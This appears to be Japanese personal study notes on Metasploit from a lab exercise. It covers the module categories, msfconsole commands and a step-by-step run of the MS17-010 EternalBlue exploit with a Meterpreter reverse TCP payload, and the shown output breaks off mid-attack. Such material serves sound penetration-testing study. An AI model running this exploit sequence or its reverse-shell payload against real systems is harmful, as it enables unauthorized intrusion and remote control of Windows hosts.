個人用メモ
■マイクソストアからKali Linuxインストール
■Brave Browserインストール
■GUI環境整備(Win-KeXインストール)
https://www.kali.org/docs/wsl/win-kex/
■
雑記系ブログ。セキュリティとか、マイルとか、投資とか、、、 / Miscellaneous Blogs. Security, miles, investments, etc
個人用メモ
■マイクソストアからKali Linuxインストール
■Brave Browserインストール
■GUI環境整備(Win-KeXインストール)
https://www.kali.org/docs/wsl/win-kex/
■
Metasploit は、最も広く使われているエクスプロイト・フレームワークです。Metasploitは、情報収集からエクスプロイト後まで、侵入テストのすべてのフェーズをサポートできる強力なツールです。
Metasploitには主に2つのバージョンがあります:
Metasploit Framework を使用している間は、主に Metasploit コンソールを使用します。コンソールはmsfconsole コマンドを使って起動できます。コンソールは、Metasploit Framework の様々なモジュールと対話するための主要なインターフェースとなります。モジュールとは、Metasploit フレームワーク内の小さなコンポーネントで、脆弱性の利用、ターゲットのスキャン、ブルートフォース攻撃の実行など、特定のタスクを実行するために構築されています。
モジュールに入る前に、「脆弱性」、「エクスプロイト」、「ペイロード」という、今後頻繁に出てくる用語を整理しておきましょう。
それぞれのモジュールとカテゴリを以下に示します。Metasploit コンソール (msfconsole) を使って操作することが可能です。
scanners、crawlers、fuzzersなどのサポート・モジュールがあります。
$ cd /usr/share/metasploit-framework/modules | tree -L 1 auxiliary/ auxiliary/ ├── admin ├── analyze ├── bnat ├── client ├── cloud ├── crawler ├── docx ├── dos ├── example.py ├── example.rb ├── fileformat ├── fuzzers ├── gather ├── parser ├── pdf ├── scanner ├── server ├── sniffer ├── spoof ├── sqli ├── voip └── vsploit 21 directories, 2 files
Encoders は、シグネチャベースのアンチウイルスソリューションがそれらを見逃すことを期待して、エクスプロイトとペイロードをエンコードすることを可能にします。
シグネチャベースのアンチウイルスおよびセキュリティソリューションには、既知の脅威のデータベースがあります。疑わしいファイルをこのデータベースと比較することで脅威を検出し、一致した場合に警告を発します。ウイルス対策ソリューションが追加のチェックを行うことができるため、エンコーダの成功率は限られたものになります。
$ cd /usr/share/metasploit-framework/modules | tree -L 1 encoders/ encoders/ ├── cmd ├── generic ├── mipsbe ├── mipsle ├── php ├── ppc ├── ruby ├── sparc ├── x64 └── x86 11 directories, 0 files
エンコーダーはペイロードをエンコードしますが、アンチウイルスソフトを回避する直接的な試みとはみなされるべきではありません。一方、「evasion(回避)」モジュールは、多かれ少なかれそれを試みます。
$ cd /usr/share/metasploit-framework/modules | tree -L 2 evasion/ evasion/ └── windows ├── applocker_evasion_install_util.rb ├── applocker_evasion_msbuild.rb ├── applocker_evasion_presentationhost.rb ├── applocker_evasion_regasm_regsvcs.rb ├── applocker_evasion_workflow_compiler.rb ├── process_herpaderping.rb ├── syscall_inject.rb ├── windows_defender_exe.rb └── windows_defender_js_hta.rb 2 directories, 9 files
標的となるシステムごとに整理されています。
$ cd /usr/share/metasploit-framework/modules | tree -L 1 exploits/ exploits/ ├── aix ├── android ├── apple_ios ├── bsd ├── bsdi ├── dialup ├── example_linux_priv_esc.rb ├── example.py ├── example.rb ├── example_webapp.rb ├── firefox ├── freebsd ├── hpux ├── irix ├── linux ├── mainframe ├── multi ├── netware ├── openbsd ├── osx ├── qnx ├── solaris ├── unix └── windows 21 directories, 4 files
NOPs(No OPeration)は文字通り何もしません。インテルx86 CPUファミリでは0x90で表され、これ以降CPUは1サイクルの間何もしません。ペイロードサイズを一定にするためのバッファとしてよく使われます。
$ cd /usr/share/metasploit-framework/modules | tree -L 1 nops/ nops/ ├── aarch64 ├── armle ├── cmd ├── mipsbe ├── php ├── ppc ├── sparc ├── tty ├── x64 └── x86 11 directories, 0 files
ペイロードとは、ターゲット・システム上で実行されるコードのことで す。
エクスプロイトはターゲットシステムの脆弱性を活用しますが、望ましい結果を得るためにはペイロードが必要です。例えば、シェルの取得、ターゲットシステムへのマルウェアやバックドアのロード、コマンドの実行、侵入テストレポートに追加する概念実証としてのcalc.exeの起動などが考えられます。calc.exeアプリケーションを起動することで、ターゲットシステム上で電卓をリモートで起動することは、ターゲットシステム上でコマンドを実行できることを示す良性の方法です。
ターゲットシステム上でコマンドを実行することは既に重要なステップですが、ターゲットシステム上で実行されるコマンドを入力できる対話型接続を持つことは、より良いことです。このような対話型のコマンドラインは「シェル」と呼ばれます。Metasploit は、ターゲットシステム上でシェルを開くことができる様々なペイロードを送信する機能を提供します。
$ cd /usr/share/metasploit-framework/modules | tree -L 1 payloads/ payloads/ ├── adapters ├── singles ├── stagers └── stages 5 directories, 0 files
payloadsの下に、adapters、singles、stagers、stagesの4つの異なるディレクトリがあります。
Post モジュールは、上記の侵入テスト・プロセスの最終段階である「侵入後」に役立ちます。
$ cd /usr/share/metasploit-framework/modules | tree -L 1 post/ post/ ├── aix ├── android ├── apple_ios ├── bsd ├── firefox ├── hardware ├── linux ├── multi ├── networking ├── osx ├── solaris └── windows 13 directories, 0 files
前述したように、コンソールは Metasploit Framework へのメインインターフェイスになります。Metasploit Frameworkがインストールされたシステム上でmsfconsoleコマンドを使って起動することができます。
$ msfconsole Metasploit tip: Enable HTTP request and response logging with set HttpTrace true ######## # ################# # ###################### # ######################### # ############################ ############################## ############################### ############################### ############################## # ######## # ## ### #### ## ### ### #### ### #### ########## #### ####################### #### #################### #### ################## #### ############ ## ######## ### ######### ##### ############ ###### ######## ######### ##### ######## ### ######### ###### ############ ####################### # # ### # # ## ######################## ## ## ## ## https://metasploit.com =[ metasploit v6.4.18-dev ] + -- --=[ 2437 exploits - 1255 auxiliary - 429 post ] + -- --=[ 1468 payloads - 47 encoders - 11 nops ] + -- --=[ 9 evasion ] Metasploit Documentation: https://docs.metasploit.com/ msf6 >
起動すると、コマンドラインが msf6 (インストールされている Metasploit のバージョンによっては msf5) に変わるのがわかるでしょう。Metasploitコンソール(msfconsole)は、以下のように通常のコマンドラインシェルと同じように使うことができます。最初のコマンドは ls で、msfconsole コマンドを使って Metasploit を起動したフォルダの中身を一覧表示します。
続いて、GoogleのDNS IPアドレス(8.8.8.8)にpingを送信します。-c 1オプションを追加しないと、CTRL+Cで停止するまでpingプロセスが続きます。
msf6 > ls [*] exec: ls auxiliary encoders evasion exploits nops payloads post README.md msf6 > ping -c 1 8.8.8.8 [*] exec: ping -c 1 8.8.8.8 PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. 64 bytes from 8.8.8.8: icmp_seq=1 ttl=108 time=95.3 ms --- 8.8.8.8 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 95.286/95.286/95.286/0.000 ms msf6 >
これは、clear(ターミナル画面をクリアする)を含むほとんどのLinuxコマンドをサポートしますが、以下のように、通常のコマンドラインのいくつかの機能を使用することはできません(例えば、出力のリダイレクトをサポートしていません)。
msf6 > help > help.txt [-] No such command msf6 >
ちなみに、helpコマンドは単独で使うことも、特定のコマンドに対して使うこともできます。以下は、これから取り上げるセットコマンドのヘルプメニューで す。
msf6 > help set Usage: set [options] [name] [value] Set the given option to value. If value is omitted, print the current value. If both are omitted, print options that are currently set. If run from a module context, this will set the value in the module's datastore. Use -g to operate on the global datastore. If setting a PAYLOAD, this command can take an index from `show payloads'. OPTIONS: -c, --clear Clear the values, explicitly setting to nil (default) -g, --global Operate on global datastore variables -h, --help Help banner. msf6 >
history コマンドを使えば、以前に入力したコマンドを見ることができます。
msf6 > history
1 search smtp_version
・
・
・
59 show options
60 quit
61 ls
62 ping -c 1 8.8.8.8
63 help > help.txt
64 help set
65 history
msf6 >
msfconsole の重要な機能は、タブ補完のサポートです。これは後で Metasploit コマンドを使ったり、モジュールを扱ったりするときに便利です。例えば、「he」と入力し始め、タブキーを押すと、自動で補完されるのがわかります。
Msfconsoleはコンテキストで管理されます。つまり、グローバル変数として設定しない限り、使用するモジュールを変更すると、すべてのパラメータ設定が失われます。以下の例では、ms17_010_eternalblueエクスプロイトを使用し、RHOSTSなどのパラメータを設定しています。別のモジュール(ポートスキャナーなど)に切り替えた場合、行ったすべての変更がms17_010_eternalblue exploitのコンテキストに残るため、RHOSTS値を再度設定する必要があります。
この機能をよりよく理解するために、以下の例を見てみましょう。ここでは、説明のためにMS17-010「Eternalblue」エクスプロイトを使用します。
use exploit/windows/smb/ms17_010_eternalblueコマンドを入力すると、コマンド・ライン・プロンプトがmsf6から「msf6 exploit(windows/smb/ms17_010_eternalblue)」に変わるのがわかります。「EternalBlue」は、米国家安全保障局(N.S.A.)が開発したとされるエクスプロイトで、多数のWindowsシステム上のSMBv1サーバーに影響する脆弱性です。SMB(Server Message Block)は、ファイル共有やプリンターへのファイル送信など、Windowsネットワークで広く使われています。EternalBlueは2017年4月にサイバー犯罪者グループ「Shadow Brokers」によってリークさ れました。2017年5月、この脆弱性はWannaCryランサムウェア攻撃において世界中で悪用されました。
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >
使用するモジュールは、useコマンドの後に検索結果の行頭の番号を続けて入力しても選択できます。
プロンプトは変わりましたが、以前紹介したコマンドはまだ実行できることにお気づきでしょう。これは、オペレーティング・システムのコマンドラインで通常期待されるように、フォルダを「入力」していないことを意味します。
msf6 exploit(windows/smb/ms17_010_eternalblue) > ls
[*] exec: ls
auxiliary encoders evasion exploits nops payloads post README.md
msf6 exploit(windows/smb/ms17_010_eternalblue) >
プロンプトが、これから作業するコンテキストが設定されたことを教えてくれます。これは、show optionsコマンドを入力することで確認できます。
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
using-metasploit.html
RPORT 445 yes The target port (TCP)
SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Ser
ver 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server
2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, W
indows 7, Windows Embedded Standard 7 target machines.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 172.29.55.196 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/ms17_010_eternalblue) >
これは、先に選択したエクスプロイトに関連するオプションを表示するものです。show optionsコマンドは、使用するコンテキストによって出力が異なります。上記の例では、このエクスプロイトではRHOSTSやRPORTなどの変数を設定する必要があることを示しています。
showコマンドは、モジュールの種類(auxiliary、payload、exploitなど)の後に続けて、利用可能なモジュールを一覧表示する任意のコンテキストで使用できます。以下の例では、ms17-010 Eternalblueエクスプロイトで使用できるペイロードを一覧表示しています。
msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom . normal No Custom Payload
1 payload/generic/shell_bind_aws_ssm . normal No Command Shell, Bind SSM (via AWS API)
2 payload/generic/shell_bind_tcp . normal No Generic Command Shell, Bind TCP Inline
・
・
・
71 payload/windows/x64/vncinject/reverse_tcp_uuid . normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
72 payload/windows/x64/vncinject/reverse_winhttp . normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
73 payload/windows/x64/vncinject/reverse_winhttps . normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
msf6 exploit(windows/smb/ms17_010_eternalblue) >
msfconsole プロンプトから使用すると、show コマンドはすべてのモジュールを一覧表示します。
これまで見てきたuseとshow optionsコマンドは、Metasploitのすべてのモジュールで同じです。
backコマンドを使えば、コンテキストから抜けることができます。
msf6 exploit(windows/smb/ms17_010_eternalblue) > back
msf6 >
モジュールの詳細情報は、そのモジュールのコンテキスト内でinfoコマンドをタイプすることで得られます。
msf6 exploit(windows/smb/ms17_010_eternalblue) > info
Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
Module: exploit/windows/smb/ms17_010_eternalblue
Platform: Windows
Arch: x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Average
Disclosed: 2017-03-14
Provided by:
Equation Group
Shadow Brokers
sleepya
Sean Dillon <sean.dillon@risksense.com>
Dylan Davis <dylan.davis@risksense.com>
thelightcosine
wvu <wvu@metasploit.com>
agalway-r7
cdelafuente-r7
cdelafuente-r7
agalway-r7
Available targets:
Id Name
-- ----
=> 0 Automatic Target
1 Windows 7
2 Windows Embedded Standard 7
3 Windows Server 2008 R2
4 Windows 8
5 Windows 8.1
6 Windows Server 2012
7 Windows 10 Pro
8 Windows 10 Enterprise Evaluation
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/u
sing-metasploit.html
RPORT 445 yes The target port (TCP)
SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Serv
er 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2
008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Wi
ndows 7, Windows Embedded Standard 7 target machines.
Payload information:
Space: 2000
Description:
This module is a port of the Equation Group ETERNALBLUE exploit, part of
the FuzzBunch toolkit released by Shadow Brokers.
There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size
is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a
DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow
is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later
completed in srvnet!SrvNetWskReceiveComplete.
This exploit, like the original may not trigger 100% of the time, and should be
run continuously until triggered. It seems like the pool will get hot streaks
and need a cool down period before the shells rain in again.
The module will attempt to use Anonymous login, by default, to authenticate to perform the
exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use
those instead.
On some systems, this module may cause system instability and crashes, such as a BSOD or
a reboot. This may be more likely with some payloads.
References:
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010
https://nvd.nist.gov/vuln/detail/CVE-2017-0143
https://nvd.nist.gov/vuln/detail/CVE-2017-0144
https://nvd.nist.gov/vuln/detail/CVE-2017-0145
https://nvd.nist.gov/vuln/detail/CVE-2017-0146
https://nvd.nist.gov/vuln/detail/CVE-2017-0147
https://nvd.nist.gov/vuln/detail/CVE-2017-0148
https://github.com/RiskSense-Ops/MS17-010
https://risksense.com/wp-content/uploads/2018/05/White-Paper_Eternal-Blue.pdf
https://www.exploit-db.com/exploits/42030
Also known as:
ETERNALBLUE
View the full module info with the info -d command.
msf6 exploit(windows/smb/ms17_010_eternalblue) >
あるいは、msfconsoleのプロンプトから、infoコマンドの後にモジュールのパスを続けて使うこともできます(例:info exploit/windows/smb/ms17_010_eternalblue)。info はヘルプメニューではありません。作者や関連するソースなど、モジュールの詳細情報が表示されます。
msfconsole で最も便利なコマンドのひとつに search があります。このコマンドは Metasploit Framework のデータベースから、指定された検索パラメータに関連するモジュールを検索します。CVE 番号、エクスプロイト名(eternalblue、heartbleed など)、ターゲットシステムを使用して検索を行うことができます。
msf6 > search ms17-010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 \_ target: Automatic Target . . . .
2 \_ target: Windows 7 . . . .
3 \_ target: Windows Embedded Standard 7 . . . .
4 \_ target: Windows Server 2008 R2 . . . .
5 \_ target: Windows 8 . . . .
6 \_ target: Windows 8.1 . . . .
7 \_ target: Windows Server 2012 . . . .
8 \_ target: Windows 10 Pro . . . .
9 \_ target: Windows 10 Enterprise Evaluation . . . .
10 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
11 \_ target: Automatic . . . .
12 \_ target: PowerShell . . . .
13 \_ target: Native upload . . . .
14 \_ target: MOF upload . . . .
15 \_ AKA: ETERNALSYNERGY . . . .
16 \_ AKA: ETERNALROMANCE . . . .
17 \_ AKA: ETERNALCHAMPION . . . .
18 \_ AKA: ETERNALBLUE . . . .
19 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
20 \_ AKA: ETERNALSYNERGY . . . .
21 \_ AKA: ETERNALROMANCE . . . .
22 \_ AKA: ETERNALCHAMPION . . . .
23 \_ AKA: ETERNALBLUE . . . .
24 auxiliary/scanner/smb/smb_ms17_010 . normal No MS17-010 SMB RCE Detection
25 \_ AKA: DOUBLEPULSAR . . . .
26 \_ AKA: ETERNALBLUE . . . .
27 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
28 \_ target: Execute payload (x64) . . . .
29 \_ target: Neutralize implant . . . .
Interact with a module by name or index. For example info 29, use 29 or use exploit/windows/smb/smb_doublepulsar_rce
After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize implant'
msf6 >
検索コマンドの出力は、返された各モジュールの概要を提供します。name "カラムに、モジュール名以上の情報がすでに示されていることにお気づきでしょう。モジュールのタイプ(auxiliary、exploitなど)や、モジュールのカテゴリ(scanner、admin、windows、Unixなど)がわかります。検索結果で返されたモジュールは、コマンド use の後に、結果の行の先頭に番号を付けて使用することができます。(例:use auxiliary/admin/smb/ms17_010_commandの代わりに0を使用)
タイプやプラットフォームなどのキーワードで検索機能を指示することもできます。
例えば、検索結果に補助モジュールだけを含めたい場合は、typeをauxiliaryに設定します。以下のスクリーンショットは、search type:auxiliary telnetコマンドの出力を示しています。
msf6 > search type:auxiliary telnet
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/server/capture/telnet . normal No Authentication Capture:
Telnet
1 auxiliary/scanner/telnet/brocade_enable_login . normal No Brocade Enable Login Check Scanner
2 auxiliary/dos/cisco/ios_telnet_rocem 2017-03-17 normal No Cisco IOS Telnet Denial of Service
3 auxiliary/admin/http/dlink_dir_300_600_exec_noauth 2013-02-04 normal No D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution
4 auxiliary/scanner/ssh/juniper_backdoor 2015-12-20 normal No Juniper SSH Backdoor Scanner
5 auxiliary/scanner/telnet/lantronix_telnet_password . normal No Lantronix Telnet Password Recovery
6 auxiliary/scanner/telnet/lantronix_telnet_version . normal No Lantronix Telnet Service Banner Detection
7 auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof 2010-12-21 normal No Microsoft IIS FTP Server Encoded Response Overflow Trigger
8 auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass 2021-09-06 normal Yes Netgear PNPX_GetShareFolderList Authentication Bypass
9 auxiliary/admin/http/netgear_r6700_pass_reset 2020-06-15 normal Yes Netgear R6700v3 Unauthenticated LAN Admin Password Reset
10 auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce 2021-04-21 normal Yes Netgear R7000 backup.cgi Heap Overflow RCE
11 auxiliary/scanner/telnet/telnet_ruggedcom . normal No RuggedCom Telnet Password Generator
12 auxiliary/scanner/telnet/satel_cmd_exec 2017-04-07 normal No Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability
13 auxiliary/scanner/telnet/telnet_login . normal No Telnet Login Check Scanner
14 auxiliary/scanner/telnet/telnet_version . normal No Telnet Service Banner Detection
15 auxiliary/scanner/telnet/telnet_encrypt_overflow . normal No Telnet Service Encryption Key ID Overflow Detection
Interact with a module by name or index. For example info 15, use 15 or use auxiliary/scanner/telnet/telnet_encrypt_overflow
msf6 >
エクスプロイトはターゲットシステムの脆弱性を利用するものであり、常に予期せぬ挙動を示す可能性があります。低ランクのエクスプロイトが完璧に動作することもあれば、優秀なランクのエクスプロイトが動作しなかったり、最悪ターゲットシステムをクラッシュさせたりすることもあります。
先ほど見たように、useコマンドにモジュール名を続けて使ってモジュールのコンテキストに入ったら、パラメータを設定する必要があります。最も一般的なパラメータを以下に示します。使用するモジュールによっては、追加または異なるパラメーターを設定する必要があることを忘れないでください。show optionsコマンドを使って、必要なパラメーターをリストアップするのがよい方法です。
すべてのパラメータは同じコマンド構文で設定されます:
set PARAMETER_NAME VALUE
先に進む前に、常にmsfconsoleプロンプトをチェックして、正しいコンテキストにいることを確認してください。Metasploitを扱うとき、5つの異なるプロンプトが表示されるかも しれません。
─$
msf6 >
msf6 exploit(windows/smb/ms17_010_eternalblue) >
meterpreter >
C:\Windows\system32>
前述したように、show optionsコマンドは利用可能なパラメーターをすべてリストアップします。
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
using-metasploit.html
RPORT 445 yes The target port (TCP)
SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Ser
ver 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server
2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, W
indows 7, Windows Embedded Standard 7 target machines.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 172.29.55.196 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/ms17_010_eternalblue) >
上のスクリーンショットにあるように、これらのパラメータの中には、エクスプロイトが機能するために値が必要なものがあります。いくつかの必要なパラメータ値は事前に入力されていますが、ターゲットに対してこれらが同じままであるべきかを確認してください。例えば、WebエクスプロイトではRPORT(リモートポート:Metasploitが接続を試み、エクスプロイトを実行するターゲットシステムのポート)の値が80にプリセットされている可能性がありますが、ターゲットのWebアプリケーションは8080ポートを使用している可能性があります。
この例では、setコマンドを使ってRHOSTSパラメーターにターゲット・システムのIPアドレスを設定します。
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.165.39
rhosts => 10.10.165.39
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.10.165.39 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
using-metasploit.html
RPORT 445 yes The target port (TCP)
SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Ser
ver 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server
2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, W
indows 7, Windows Embedded Standard 7 target machines.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 172.29.55.196 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/ms17_010_eternalblue) >
パラメーターを設定したら、show optionsコマンドを使って、値が正しく設定されているか確認することができます。
よく使うパラメータは以下の通りです:
msf6 exploit(windows/smb/ms17_010_eternalblue) > unset all
Unsetting datastore...
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
using-metasploit.html
RPORT 445 yes The target port (TCP)
SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Ser
ver 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server
2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, W
indows 7, Windows Embedded Standard 7 target machines.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 172.29.55.196 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/ms17_010_eternalblue) >
setgコマンドを使えば、すべてのモジュールで使われる値を設定することができます。setgコマンドはsetコマンドと同じように使います。違うのは、set コマンドを使ってあるモジュールで値を設定した後、別のモジュールに切り替えた場合、再度値を設定する必要があるということです。setgコマンドは、異なるモジュール間でデフォルトで使用できるように値を設定することができます。setgで設定した値は、unsetgでクリアできます。
以下の例では、以下のフローを使用しています;
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > setg rhosts 10.10.165.39
rhosts => 10.10.165.39
msf6 exploit(windows/smb/ms17_010_eternalblue) > back
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options
Module options (auxiliary/scanner/smb/smb_ms17_010):
Name Current Setting Required Description
---- --------------- -------- -----------
CHECK_ARCH true no Check for architecture on vulnerable hosts
CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE false no Check for named pipe on vulnerable hosts
NAMED_PIPES /usr/share/metasploit-framework/dat yes List of named pipes to check
a/wordlists/named_pipes.txt
RHOSTS 10.10.165.39 yes The target host(s), see https://docs.metasploit.com/docs/using-
metasploit/basics/using-metasploit.html
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads (max one per host)
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/smb/smb_ms17_010) >
setgコマンドは、Metasploitを終了するか、unsetgコマンドを使ってクリアするまで使用されるグローバルな値を設定します。
モジュールのパラメータをすべて設定したら、exploitコマンドを使ってモジュールを起動することができます。Metasploitはrunコマンドもサポートしていますが、これはexploitコマンドの別名で、exploitではないモジュール(ポートスキャナや脆弱性スキャナなど)を使うときにexploitという単語が意味をなさないために作られたものです。
exploitコマンドは、パラメータなしで使用することも、"-z "パラメータを使用して使用することもできます。
exploit -zコマンドは、セッションが開くとすぐにexploitを実行し、バックグラウンドにします。
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -z
[*] Started reverse TCP handler on 10.10.44.70:4444
[*] 10.10.12.229:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.12.229:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.12.229:445 - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.12.229:445 - Connecting to target for exploitation.
[+] 10.10.12.229:445 - Connection established for exploitation.
[+] 10.10.12.229:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.12.229:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.12.229:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.12.229:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.12.229:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.12.229:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.12.229:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.12.229:445 - Sending all but last fragment of exploit packet
[*] 10.10.12.229:445 - Starting non-paged pool grooming
[+] 10.10.12.229:445 - Sending SMBv2 buffers
[+] 10.10.12.229:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.12.229:445 - Sending final SMBv2 buffers.
[*] 10.10.12.229:445 - Sending last fragment of exploit packet!
[*] 10.10.12.229:445 - Receiving response from exploit packet
[+] 10.10.12.229:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.12.229:445 - Sending egg to corrupted connection.
[*] 10.10.12.229:445 - Triggering free of corrupted buffer.
[*] Sending stage (201283 bytes) to 10.10.12.229
